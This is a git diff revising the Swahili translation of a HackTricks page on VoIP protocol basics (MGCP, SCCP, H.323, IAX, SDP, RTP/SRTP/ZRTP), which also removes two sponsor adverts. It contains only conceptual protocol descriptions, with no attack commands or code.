@ -104,12 +96,6 @@ done
|
|||
|
||||
To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ works you should read [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
# Misingi ya Protokali za VoIP
|
||||
# Msingi wa Protokali za VoIP
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
@ -16,20 +16,6 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** za kuangalia ikiwa kampuni au wateja wake wamekuwa **wameathiriwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Protokali za Ishara
|
||||
|
||||
### SIP (Session Initiation Protocol)
|
||||
|
|
@ -44,80 +30,97 @@ Hii ni kiwango cha tasnia, kwa maelezo zaidi angalia:
|
|||
|
||||
MGCP (Media Gateway Control Protocol) ni **protokali ya ishara** na **udhibiti wa simu** iliyoainishwa katika RFC 3435. Inafanya kazi katika usanifu wa kati, ambao unajumuisha vipengele vitatu vikuu:
|
||||
|
||||
1. **Wakala wa Simu au Msimamizi wa Kituo cha Vyombo vya Habari (MGC)**: Kituo kikuu katika usanifu wa MGCP kinawajibika kwa **kusimamia na kudhibiti vituo vya vyombo vya habari**. Kinashughulikia mchakato wa kuanzisha simu, marekebisho, na kumaliza. MGC inawasiliana na vituo vya vyombo vya habari kwa kutumia protokali ya MGCP.
|
||||
2. **Vituo vya Vyombo vya Habari (MGs) au Vituo vya Watumwa**: Vifaa hivi **vinabadilisha mtiririko wa vyombo vya habari kati ya mitandao tofauti**, kama vile simu za jadi za circuit-switched na mitandao ya IP inayosambaza pakiti. Vinadhibitiwa na MGC na kutekeleza amri zinazopokelewa kutoka kwake. Vituo vya vyombo vya habari vinaweza kujumuisha kazi kama vile transcoding, packetization, na echo cancellation.
|
||||
3. **Vituo vya Ishara (SGs)**: Vituo hivi vinawajibika kwa **kubadilisha ujumbe wa ishara kati ya mitandao tofauti**, kuruhusu mawasiliano yasiyo na mshono kati ya mifumo ya simu za jadi (mfano, SS7) na mitandao ya IP (mfano, SIP au H.323). Vituo vya ishara ni muhimu kwa ufanisi wa kazi na kuhakikisha kuwa taarifa za udhibiti wa simu zinawasilishwa ipasavyo kati ya mitandao tofauti.
|
||||
1. **Wakala wa Simu au Msimamizi wa Media Gateway (MGC)**: Lango kuu katika usanifu wa MGCP lina jukumu la **kusimamia na kudhibiti media gateways**. Linashughulikia mchakato wa kuanzisha simu, mabadiliko, na kumaliza. MGC inawasiliana na media gateways kwa kutumia protokali ya MGCP.
|
||||
2. **Media Gateways (MGs) au Slave Gateways**: Vifaa hivi **vinabadilisha mitiririko ya media ya kidijitali kati ya mitandao tofauti**, kama vile simu za jadi za circuit-switched na mitandao ya IP ya packet-switched. Vinadhibitiwa na MGC na kutekeleza amri zinazopokelewa kutoka kwake. Media gateways zinaweza kujumuisha kazi kama vile transcoding, packetization, na echo cancellation.
|
||||
3. **Signaling Gateways (SGs)**: Vifaa hivi vina jukumu la **kubadilisha ujumbe wa ishara kati ya mitandao tofauti**, kuwezesha mawasiliano yasiyo na mshono kati ya mifumo ya simu za jadi (mfano, SS7) na mitandao ya IP (mfano, SIP au H.323). Signaling gateways ni muhimu kwa ufanisi wa kazi pamoja na kuhakikisha kuwa taarifa za udhibiti wa simu zinawasilishwa ipasavyo kati ya mitandao tofauti.
|
||||
|
||||
Kwa muhtasari, MGCP inakusanya mantiki ya udhibiti wa simu katika wakala wa simu, ambayo inarahisisha usimamizi wa vituo vya vyombo vya habari na ishara, ikitoa ufanisi bora, kuaminika, na ufanisi katika mitandao ya mawasiliano.
|
||||
Kwa muhtasari, MGCP inakusanya mantiki ya udhibiti wa simu katika wakala wa simu, ambayo inarahisisha usimamizi wa media na signaling gateways, ikitoa ufanisi bora, kuaminika, na ufanisi katika mitandao ya mawasiliano.
|
||||
|
||||
### SCCP (Skinny Client Control Protocol)
|
||||
|
||||
Skinny Client Control Protocol (SCCP) ni **protokali ya ishara na udhibiti wa simu** inayomilikiwa na Cisco Systems. Inatumika hasa kwa mawasiliano kati ya **Cisco Unified Communications Manager** (awali inajulikana kama CallManager) na simu za Cisco IP au vifaa vingine vya sauti na video vya Cisco.
|
||||
Skinny Client Control Protocol (SCCP) ni **protokali ya ishara na udhibiti wa simu** inayomilikiwa na Cisco Systems. Inatumika hasa kwa mawasiliano kati ya **Cisco Unified Communications Manager** (iliyokuwa inajulikana kama CallManager) na simu za Cisco IP au vifaa vingine vya sauti na video vya Cisco.
|
||||
|
||||
SCCP ni protokali nyepesi inayorahisisha mawasiliano kati ya seva ya udhibiti wa simu na vifaa vya mwisho. Inaitwa "Skinny" kwa sababu ya muundo wake wa chini na mahitaji madogo ya upana wa bendi ikilinganishwa na protokali nyingine za VoIP kama H.323 au SIP.
|
||||
SCCP ni protokali nyepesi inayorahisisha mawasiliano kati ya seva ya udhibiti wa simu na vifaa vya mwisho. Inajulikana kama "Skinny" kwa sababu ya muundo wake wa chini na mahitaji madogo ya bandwidth ikilinganishwa na protokali nyingine za VoIP kama H.323 au SIP.
|
||||
|
||||
Vipengele vikuu vya mfumo unaotumia SCCP ni:
|
||||
|
||||
1. **Seva ya Udhibiti wa Simu**: Seva hii, kwa kawaida ni Cisco Unified Communications Manager, inasimamia mchakato wa kuanzisha simu, marekebisho, na kumaliza, pamoja na huduma nyingine za simu kama vile kuhamasisha simu, uhamisho wa simu, na kushikilia simu.
|
||||
1. **Seva ya Udhibiti wa Simu**: Seva hii, kwa kawaida ni Cisco Unified Communications Manager, inasimamia mchakato wa kuanzisha simu, mabadiliko, na kumaliza, pamoja na huduma nyingine za simu kama vile kuhamasisha simu, uhamisho wa simu, na kushikilia simu.
|
||||
2. **Vifaa vya SCCP**: Hivi ni vifaa kama simu za IP, vitengo vya video conferencing, au vifaa vingine vya sauti na video vya Cisco vinavyotumia SCCP kuwasiliana na seva ya udhibiti wa simu. Vinajiandikisha na seva, vinatuma na kupokea ujumbe wa ishara, na kufuata maelekezo yanayotolewa na seva ya udhibiti wa simu kwa ajili ya kushughulikia simu.
|
||||
3. **Vituo**: Vifaa hivi, kama vile vituo vya sauti au vituo vya vyombo vya habari, vinawajibika kwa kubadilisha mtiririko wa vyombo vya habari kati ya mitandao tofauti, kama simu za jadi za circuit-switched na mitandao ya IP zinazopakia pakiti. Vinaweza pia kujumuisha kazi za ziada, kama vile transcoding au echo cancellation.
|
||||
3. **Gateways**: Vifaa hivi, kama vile voice gateways au media gateways, vina jukumu la kubadilisha mitiririko ya media kati ya mitandao tofauti, kama vile simu za jadi za circuit-switched na mitandao ya IP ya packet-switched. Vinaweza pia kujumuisha kazi za ziada, kama vile transcoding au echo cancellation.
|
||||
|
||||
SCCP inatoa njia rahisi na yenye ufanisi ya mawasiliano kati ya seva za udhibiti wa simu za Cisco na vifaa vya mwisho. Hata hivyo, inafaa kutambua kuwa **SCCP ni protokali ya miliki**, ambayo inaweza kupunguza ufanisi wa kazi na mifumo isiyo ya Cisco. Katika hali kama hizo, protokali nyingine za kawaida za VoIP kama SIP zinaweza kuwa bora zaidi.
|
||||
SCCP inatoa njia rahisi na yenye ufanisi ya mawasiliano kati ya seva za udhibiti wa simu za Cisco na vifaa vya mwisho. Hata hivyo, inapaswa kutambuliwa kuwa **SCCP ni protokali ya miliki**, ambayo inaweza kupunguza ufanisi wa kazi pamoja na mifumo isiyo ya Cisco. Katika hali kama hizo, protokali nyingine za kawaida za VoIP kama SIP zinaweza kuwa bora zaidi.
|
||||
|
||||
### H.323
|
||||
|
||||
H.323 ni **seti ya protokali** za mawasiliano ya multimedia, ikiwa ni pamoja na sauti, video, na mikutano ya data juu ya mitandao inayosambaza pakiti, kama mitandao ya IP. Ilitengenezwa na **International Telecommunication Union** (ITU-T) na inatoa mfumo kamili wa kusimamia vikao vya mawasiliano ya multimedia.
|
||||
H.323 ni **seti ya protokali** za mawasiliano ya multimedia, ikiwa ni pamoja na sauti, video, na mikutano ya data juu ya mitandao ya packet-switched, kama vile mitandao ya IP. Ilitengenezwa na **Shirika la Kimataifa la Mawasiliano** (ITU-T) na inatoa mfumo kamili wa kusimamia vikao vya mawasiliano ya multimedia.
|
||||
|
||||
Baadhi ya vipengele muhimu vya seti ya H.323 ni:
|
||||
|
||||
1. **Vituo**: Hivi ni vifaa vya mwisho, kama simu za IP, mifumo ya video conferencing, au programu za software, ambazo zinasaidia H.323 na zinaweza kushiriki katika vikao vya mawasiliano ya multimedia.
|
||||
2. **Vituo**: Vifaa hivi vinabadilisha mtiririko wa vyombo vya habari kati ya mitandao tofauti, kama simu za jadi za circuit-switched na mitandao ya IP zinazopakia pakiti, kuruhusu ufanisi wa kazi kati ya H.323 na mifumo mingine ya mawasiliano. Vinaweza pia kujumuisha kazi za ziada, kama vile transcoding au echo cancellation.
|
||||
3. **Wakaguzi wa Vituo**: Hivi ni vipengele vya hiari vinavyotoa huduma za udhibiti wa simu na usimamizi katika mtandao wa H.323. Vinatekeleza kazi kama vile tafsiri ya anwani, usimamizi wa upana wa bendi, na udhibiti wa kuingia, kusaidia kusimamia na kuboresha rasilimali za mtandao.
|
||||
4. **Vitengo vya Udhibiti wa Muktadha (MCUs)**: Vifaa hivi vinasaidia mikutano ya muktadha kwa kusimamia na kuchanganya mtiririko wa vyombo vya habari kutoka kwa vituo vingi. MCUs zinaruhusu vipengele kama vile udhibiti wa mpangilio wa video, kubadilisha sauti kulingana na sauti, na uwepo wa kudumu, na kufanya iwezekane kuandaa mikutano mikubwa yenye washiriki wengi.
|
||||
2. **Gateways**: Vifaa hivi vinabadilisha mitiririko ya media kati ya mitandao tofauti, kama vile simu za jadi za circuit-switched na mitandao ya IP ya packet-switched, kuwezesha ufanisi wa kazi kati ya H.323 na mifumo mingine ya mawasiliano. Vinaweza pia kujumuisha kazi za ziada, kama vile transcoding au echo cancellation.
|
||||
3. **Gatekeepers**: Hivi ni vipengele vya hiari vinavyotoa huduma za udhibiti na usimamizi wa simu katika mtandao wa H.323. Vinatekeleza kazi kama vile tafsiri ya anwani, usimamizi wa bandwidth, na udhibiti wa kuingia, kusaidia kusimamia na kuboresha rasilimali za mtandao.
|
||||
4. **Vitengo vya Udhibiti wa Muktadha (MCUs)**: Vifaa hivi vinasaidia mikutano ya muktadha kwa kusimamia na kuchanganya mitiririko ya media kutoka kwa vituo vingi. MCUs zinawezesha vipengele kama vile udhibiti wa mpangilio wa video, kubadilisha sauti kulingana na shughuli, na uwepo wa kudumu, na kufanya iwezekane kuandaa mikutano mikubwa yenye washiriki wengi.
|
||||
|
||||
H.323 inasaidia aina mbalimbali za codecs za sauti na video, pamoja na huduma nyingine za ziada kama vile kuhamasisha simu, uhamisho wa simu, kushikilia simu, na kusubiri simu. Licha ya kupokelewa kwake kwa wingi katika siku za awali za VoIP, H.323 imekuwa ikibadilishwa polepole na protokali za kisasa na zinazoweza kubadilika kama **Session Initiation Protocol (SIP)**, ambayo inatoa ufanisi bora wa kazi na urahisi wa utekelezaji. Hata hivyo, H.323 bado inatumika katika mifumo mingi ya zamani na inaendelea kuungwa mkono na wauzaji mbalimbali wa vifaa.
|
||||
H.323 inasaidia aina mbalimbali za codecs za sauti na video, pamoja na huduma nyingine za ziada kama vile kuhamasisha simu, uhamisho wa simu, kushikilia simu, na kusubiri simu. Licha ya kupokelewa kwake kwa wingi katika siku za mwanzo za VoIP, H.323 imekuwa ikibadilishwa taratibu na protokali za kisasa na zinazoweza kubadilika kama **Session Initiation Protocol (SIP)**, ambayo inatoa ufanisi bora wa kazi pamoja na urahisi wa utekelezaji. Hata hivyo, H.323 bado inatumika katika mifumo mingi ya zamani na inaendelea kuungwa mkono na wauzaji mbalimbali wa vifaa.
|
||||
|
||||
### IAX (Inter Asterisk eXchange)
|
||||
|
||||
IAX (Inter-Asterisk eXchange) ni **protokali ya ishara na udhibiti wa simu** inayotumiwa hasa kwa mawasiliano kati ya seva za Asterisk PBX (Private Branch Exchange) na vifaa vingine vya VoIP. Ilitengenezwa na Mark Spencer, muundaji wa programu ya Asterisk open-source PBX, kama mbadala wa protokali nyingine za VoIP kama SIP na H.323.
|
||||
IAX (Inter-Asterisk eXchange) ni **protokali ya ishara na udhibiti wa simu** inayotumika hasa kwa mawasiliano kati ya seva za Asterisk PBX (Private Branch Exchange) na vifaa vingine vya VoIP. Ilitengenezwa na Mark Spencer, muundaji wa programu ya Asterisk open-source PBX, kama mbadala wa protokali nyingine za VoIP kama SIP na H.323.
|
||||
|
||||
IAX inajulikana kwa **urahisi, ufanisi, na urahisi wa utekelezaji**. Baadhi ya vipengele muhimu vya IAX ni:
|
||||
IAX inajulikana kwa **urahisi wake, ufanisi, na urahisi wa utekelezaji**. Baadhi ya vipengele muhimu vya IAX ni:
|
||||
|
||||
1. **Bandari Moja ya UDP**: IAX inatumia bandari moja ya UDP (4569) kwa ajili ya ishara na trafiki ya vyombo vya habari, ambayo inarahisisha usalama wa moto na kupita NAT, na kufanya iwe rahisi kuanzisha katika mazingira mbalimbali ya mtandao.
|
||||
2. **Protokali ya Kihesabu**: Tofauti na protokali zinazotumia maandiko kama SIP, IAX ni protokali ya kihesabu, ambayo inapunguza matumizi yake ya upana wa bendi na kufanya iwe yenye ufanisi zaidi kwa ajili ya kuhamasisha ishara na data za vyombo vya habari.
|
||||
3. **Trunking**: IAX inasaidia trunking, ambayo inaruhusu simu nyingi kuunganishwa katika muunganisho mmoja wa mtandao, kupunguza mzigo na kuboresha matumizi ya upana wa bendi.
|
||||
4. **Ulinzi wa Asili**: IAX ina msaada wa ndani kwa ajili ya ulinzi, ikitumia mbinu kama RSA kwa ajili ya kubadilishana funguo na AES kwa ajili ya ulinzi wa vyombo vya habari, ikitoa mawasiliano salama kati ya vifaa vya mwisho.
|
||||
5. **Mawasiliano ya Mtu kwa Mtu**: IAX inaweza kutumika kwa mawasiliano ya moja kwa moja kati ya vifaa vya mwisho bila haja ya seva kuu, ikiruhusu njia rahisi na yenye ufanisi ya kuelekeza simu.
|
||||
1. **Bandari Moja ya UDP**: IAX inatumia bandari moja ya UDP (4569) kwa ajili ya ishara na trafiki ya media, ambayo inarahisisha usalama wa moto na NAT, na kufanya iwe rahisi kuanzisha katika mazingira mbalimbali ya mtandao.
|
||||
2. **Protokali ya Kihesabu**: Tofauti na protokali za maandiko kama SIP, IAX ni protokali ya kihesabu, ambayo inapunguza matumizi yake ya bandwidth na kuifanya iwe na ufanisi zaidi katika kutuma ishara na data za media.
|
||||
3. **Trunking**: IAX inasaidia trunking, ambayo inaruhusu simu nyingi kuunganishwa katika muunganisho mmoja wa mtandao, kupunguza mzigo na kuboresha matumizi ya bandwidth.
|
||||
4. **Ushirikiano wa Asili**: IAX ina msaada wa ndani wa ushirikiano, ikitumia mbinu kama RSA kwa ajili ya kubadilishana funguo na AES kwa ajili ya ushirikiano wa media, ikitoa mawasiliano salama kati ya vituo vya mwisho.
|
||||
5. **Mawasiliano ya Mtu kwa Mtu**: IAX inaweza kutumika kwa mawasiliano ya moja kwa moja kati ya vituo vya mwisho bila haja ya seva kuu, kuwezesha urahisi na ufanisi zaidi katika uhamasishaji wa simu.
|
||||
|
||||
Licha ya faida zake, IAX ina baadhi ya mipaka, kama vile kuzingatia kwake hasa kwenye mfumo wa Asterisk na kupungua kwa kupitishwa ikilinganishwa na protokali zilizothibitishwa kama SIP. Kwa hivyo, IAX huenda isiwe chaguo bora kwa ufanisi wa kazi na mifumo au vifaa visivyo vya Asterisk. Hata hivyo, kwa wale wanaofanya kazi ndani ya mazingira ya Asterisk, IAX inatoa suluhisho thabiti na lenye ufanisi kwa mawasiliano ya VoIP.
|
||||
Licha ya faida zake, IAX ina baadhi ya mipaka, kama vile kuzingatia kwake hasa kwenye mfumo wa Asterisk na kupungua kwa kupitishwa ikilinganishwa na protokali zilizothibitishwa kama SIP. Kwa hivyo, IAX huenda isiwe chaguo bora kwa ufanisi wa kazi pamoja na mifumo au vifaa visivyo vya Asterisk. Hata hivyo, kwa wale wanaofanya kazi ndani ya mazingira ya Asterisk, IAX inatoa suluhisho thabiti na lenye ufanisi kwa mawasiliano ya VoIP.
|
||||
|
||||
## Protokali za Usafirishaji na Usafirishaji
|
||||
|
||||
### SDP (Session Description Protocol)
|
||||
|
||||
SDP (Session Description Protocol) ni **muundo wa maandiko** unaotumiwa kuelezea sifa za vikao vya multimedia, kama vile sauti, video, au mikutano ya data, juu ya mitandao ya IP. Ilitengenezwa na **Internet Engineering Task Force (IETF)** na imeainishwa katika **RFC 4566**. SDP haisimamia usafirishaji halisi wa vyombo vya habari au kuanzisha vikao lakini inatumika pamoja na protokali nyingine za ishara, kama **SIP (Session Initiation Protocol)**, ili kujadili na kubadilishana taarifa kuhusu mtiririko wa vyombo vya habari na sifa zao.
|
||||
SDP (Session Description Protocol) ni **muundo wa maandiko** unaotumika kuelezea sifa za vikao vya multimedia, kama vile sauti, video, au mikutano ya data, juu ya mitandao ya IP. Ilitengenezwa na **Kikundi cha Uhandisi wa Mtandao (IETF)** na imeainishwa katika **RFC 4566**. SDP haisimamia usafirishaji halisi wa media au kuanzishwa kwa kikao lakini inatumika pamoja na protokali nyingine za ishara, kama **SIP (Session Initiation Protocol)**, ili kujadili na kubadilishana taarifa kuhusu mitiririko ya media na sifa zake.
|
||||
|
||||
Baadhi ya vipengele muhimu vya SDP ni:
|
||||
|
||||
1. **Taarifa za Kikao**: SDP inaelezea maelezo ya kikao cha multimedia, ikiwa ni pamoja na jina la kikao, maelezo ya kikao, wakati wa kuanza, na wakati wa kumaliza.
|
||||
2. **Mtiririko wa Vyombo vya Habari**: SDP inaelezea sifa za mtiririko wa vyombo vya habari, kama vile aina ya vyombo vya habari (sauti, video, au maandiko), protokali ya usafirishaji (mfano, RTP au SRTP), na muundo wa vyombo vya habari (mfano, taarifa za codec).
|
||||
3. **Taarifa za Muunganisho**: SDP inatoa taarifa kuhusu anwani ya mtandao (anwani ya IP) na nambari ya bandari ambapo vyombo vya habari vinapaswa kutumwa au kupokelewa.
|
||||
4. **Sifa**: SDP inasaidia matumizi ya sifa kutoa taarifa za ziada, za hiari kuhusu kikao au mtiririko wa vyombo vya habari. Sifa zinaweza kutumika kwa ajili ya kubainisha vipengele mbalimbali kama funguo za ulinzi, mahitaji ya upana wa bendi, au mitambo ya kudhibiti vyombo vya habari.
|
||||
2. **Mitiririko ya Media**: SDP inaelezea sifa za mitiririko ya media, kama vile aina ya media (sauti, video, au maandiko), protokali ya usafirishaji (mfano, RTP au SRTP), na muundo wa media (mfano, taarifa za codec).
|
||||
3. **Taarifa za Muunganisho**: SDP inatoa taarifa kuhusu anwani ya mtandao (anwani ya IP) na nambari ya bandari ambapo media inapaswa kutumwa au kupokelewa.
|
||||
4. **Sifa**: SDP inasaidia matumizi ya sifa kutoa taarifa za ziada, za hiari kuhusu kikao au mitiririko ya media. Sifa zinaweza kutumika kwa ajili ya kubainisha vipengele mbalimbali kama funguo za ushirikiano, mahitaji ya bandwidth, au mitambo ya kudhibiti media.
|
||||
|
||||
SDP kwa kawaida inatumika katika mchakato ufuatao:
|
||||
|
||||
1. Sehemu inayozindua inaunda maelezo ya SDP ya kikao cha multimedia kinachopendekezwa, ikiwa ni pamoja na maelezo ya mtiririko wa vyombo vya habari na sifa zao.
|
||||
2. Maelezo ya SDP yanatumwa kwa upande unaopokea, kwa kawaida yakiwa yamejumuishwa ndani ya ujumbe wa protokali ya ishara kama SIP au RTSP.
|
||||
1. Sehemu inayozindua inaunda maelezo ya SDP ya kikao cha multimedia kinachopendekezwa, ikiwa ni pamoja na maelezo ya mitiririko ya media na sifa zake.
|
||||
2. Maelezo ya SDP yanatumwa kwa upande unaopokea, kwa kawaida yakiwa ndani ya ujumbe wa protokali ya ishara kama SIP au RTSP.
|
||||
3. Upande unaopokea unachakata maelezo ya SDP, na kulingana na uwezo wake, unaweza kukubali, kukataa, au kubadilisha kikao kilichopendekezwa.
|
||||
4. Maelezo ya mwisho ya SDP yanarudishwa kwa upande unaozindua kama sehemu ya ujumbe wa protokali ya ishara, kukamilisha mchakato wa kujadili.
|
||||
4. Maelezo ya mwisho ya SDP yanatumwa nyuma kwa upande unaozindua kama sehemu ya ujumbe wa protokali ya ishara, kukamilisha mchakato wa majadiliano.
|
||||
|
||||
Urahisi na kubadilika kwa SDP kunafanya iwe kiwango kinachopokelewa kwa wingi kwa ajili ya kuelezea vikao vya multimedia katika mifumo mbalimbali ya mawasiliano, ikicheza jukumu muhimu katika kuanzisha na kusimamia vikao vya multimedia vya wakati halisi juu ya mitandao ya IP.
|
||||
Urahisi na kubadilika kwa SDP kunafanya iwe kiwango kinachopokelewa kwa wingi katika kuelezea vikao vya multimedia katika mifumo mbalimbali ya mawasiliano, ikicheza jukumu muhimu katika kuanzisha na kusimamia vikao vya multimedia vya wakati halisi juu ya mitandao ya IP.
|
||||
|
||||
### RTP / RTCP / SRTP / ZRTP
|
||||
|
||||
1. **RTP (Real-time Transport Protocol)**: RTP ni protokali ya mtandao iliyoundwa kwa ajili ya usafirishaji wa data za sauti na video, au vyombo vingine vya habari vya wakati halisi, juu ya mitandao ya IP. Ilitengenezwa na **IETF** na imeainishwa katika **RFC 3550**, RTP kwa kawaida hutumiwa pamoja na protokali za ishara kama SIP na H.323 ili kuwezesha mawasiliano ya multimedia. RTP inatoa mitambo ya **kuunganisha**, **kuweka mpangilio**, na **kuweka alama ya wakati** wa mtiririko wa vyombo vya habari, kusaidia kuhakikisha upigaji wa vyombo vya habari unakuwa laini na wa wakati.
|
||||
2. **RTCP (Real-time Transport Control Protocol)**: RTCP ni protokali ya washirika kwa RTP, inayotumiwa kwa ajili ya kufuatilia ubora wa huduma (QoS) na kutoa mrejesho kuhusu usafirishaji wa mtiririko wa vyombo vya habari. Imeainishwa katika **RFC 3550** kama RTP, RTCP **hubadilishana pakiti za udhibiti kati ya washiriki katika kikao cha RTP**. Inashiriki taarifa kama vile kupotea kwa pakiti, jitter, na wakati wa kurudi, ambayo inasaidia katika kugundua na kubadilisha hali za mtandao, kuboresha ubora wa vyombo vya habari kwa ujumla.
|
||||
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP ni nyongeza ya RTP inayotoa **ulinzi**, **uthibitishaji wa ujumbe**, na **ulinzi wa kurudi** kwa mtiririko wa vyombo vya habari, kuhakikisha usafirishaji salama wa data nyeti za sauti na video. Imeainishwa katika **RFC 3711**, SRTP inatumia algorithimu za kihesabu kama AES kwa ajili ya ulinzi na HMAC-SHA1 kwa ajili ya uthibitishaji wa ujumbe. SRTP mara nyingi hutumiwa kwa pamoja na protokali za ishara salama kama SIP juu ya TLS ili kutoa usalama wa mwisho hadi mwisho katika mawasiliano ya multimedia.
|
||||
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP ni protokali ya makubaliano ya funguo ya kihesabu inayotoa **ulinzi wa mwisho hadi mwisho** kwa mtiririko wa vyombo vya habari vya RTP. Ilitengenezwa na Phil Zimmermann, muundaji wa PGP, ZRTP inaelezwa katika **RFC 6189**. Tofauti na SRTP, ambayo inategemea protokali za ishara kwa ajili ya kubadilishana funguo, ZRTP imeundwa kufanya kazi bila kutegemea protokali ya ishara. Inatumia **kubadilishana funguo za Diffie-Hellman** kuanzisha siri ya pamoja kati ya pande zinazowasiliana, bila haja ya kuaminiana kabla au miundombinu ya funguo za umma (PKI). ZRTP pia inajumuisha vipengele kama **Mifumo ya Uthibitishaji Mfupi (SAS)** ili kulinda dhidi ya mashambulizi ya mtu katikati.
|
||||
1. **RTP (Real-time Transport Protocol)**: RTP ni protokali ya mtandao iliyoundwa kwa ajili ya usafirishaji wa data za sauti na video, au media nyingine za wakati halisi, juu ya mitandao ya IP. Ilitengenezwa na **IETF** na imeainishwa katika **RFC 3550**, RTP kwa kawaida hutumika pamoja na protokali za ishara kama SIP na H.323 kuwezesha mawasiliano ya multimedia. RTP inatoa mitambo ya **kuunganisha**, **kuweka mpangilio**, na **kuweka alama ya wakati** ya mitiririko ya media, kusaidia kuhakikisha upokeaji wa media kwa wakati na kwa usahihi.
|
||||
2. **RTCP (Real-time Transport Control Protocol)**: RTCP ni protokali ya washirika kwa RTP, inayotumika kwa ajili ya kufuatilia ubora wa huduma (QoS) na kutoa mrejesho kuhusu usafirishaji wa mitiririko ya media. Imeainishwa katika **RFC 3550** kama RTP, RTCP **hubadilishana pakiti za udhibiti kati ya washiriki katika kikao cha RTP**. Inashiriki taarifa kama vile kupotea kwa pakiti, jitter, na wakati wa kurudi, ambayo husaidia katika kugundua na kubadilisha hali za mtandao, kuboresha ubora wa jumla wa media.
|
||||
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP ni nyongeza ya RTP inayotoa **usimbaji**, **uthibitishaji wa ujumbe**, na **ulinzi wa kurudi** kwa mitiririko ya media, kuhakikisha usafirishaji salama wa data nyeti za sauti na video. Imeainishwa katika **RFC 3711**, SRTP inatumia algorithimu za kihesabu kama AES kwa ajili ya usimbaji na HMAC-SHA1 kwa ajili ya uthibitishaji wa ujumbe. SRTP mara nyingi hutumiwa pamoja na protokali za ishara salama kama SIP juu ya TLS ili kutoa usalama wa mwisho hadi mwisho katika mawasiliano ya multimedia.
|
||||
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP ni protokali ya makubaliano ya funguo ya kihesabu inayotoa **usimbaji wa mwisho hadi mwisho** kwa mitiririko ya media ya RTP. Ilitengenezwa na Phil Zimmermann, muundaji wa PGP, ZRTP inaelezwa katika **RFC 6189**. Tofauti na SRTP, ambayo inategemea protokali za ishara kwa ajili ya kubadilishana funguo, ZRTP imeundwa kufanya kazi bila kutegemea protokali ya ishara. Inatumia **kubadilishana funguo za Diffie-Hellman** kuanzisha siri ya pamoja kati ya pande zinazowasiliana, bila haja ya kuaminiana kabla au miundombinu ya funguo za umma (PKI). ZRTP pia inajumuisha vipengele kama **Mifumo ya Uthibitishaji wa Fupi (SAS)** ili kulinda dhidi ya mashambulizi ya mtu katikati.
|
||||
|
||||
Protokali hizi zina jukumu muhimu katika **kusafirisha na kulinda mawasiliano ya multimedia ya wakati halisi juu ya mitandao ya IP**. Wakati RTP na RTCP zinashughulikia usafirishaji halisi wa vyombo vya habari na ufuatiliaji wa ubora, SRTP na ZRTP zinahakikisha kuwa vyombo vya habari vilivyotumwa vinapewa ulinzi dhidi ya kusikilizwa, kuharibiwa, na mashambulizi ya kurudi.
|
||||
Protokali hizi zina jukumu muhimu katika **kusafirisha na kulinda mawasiliano ya multimedia ya wakati halisi juu ya mitandao ya IP**. Wakati RTP na RTCP zinashughulikia usafirishaji halisi wa media na ufuatiliaji wa ubora, SRTP na ZRTP zinahakikisha kuwa media iliyosafirishwa inalindwa dhidi ya kusikiliza, kuingilia, na mashambulizi ya kurudi.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
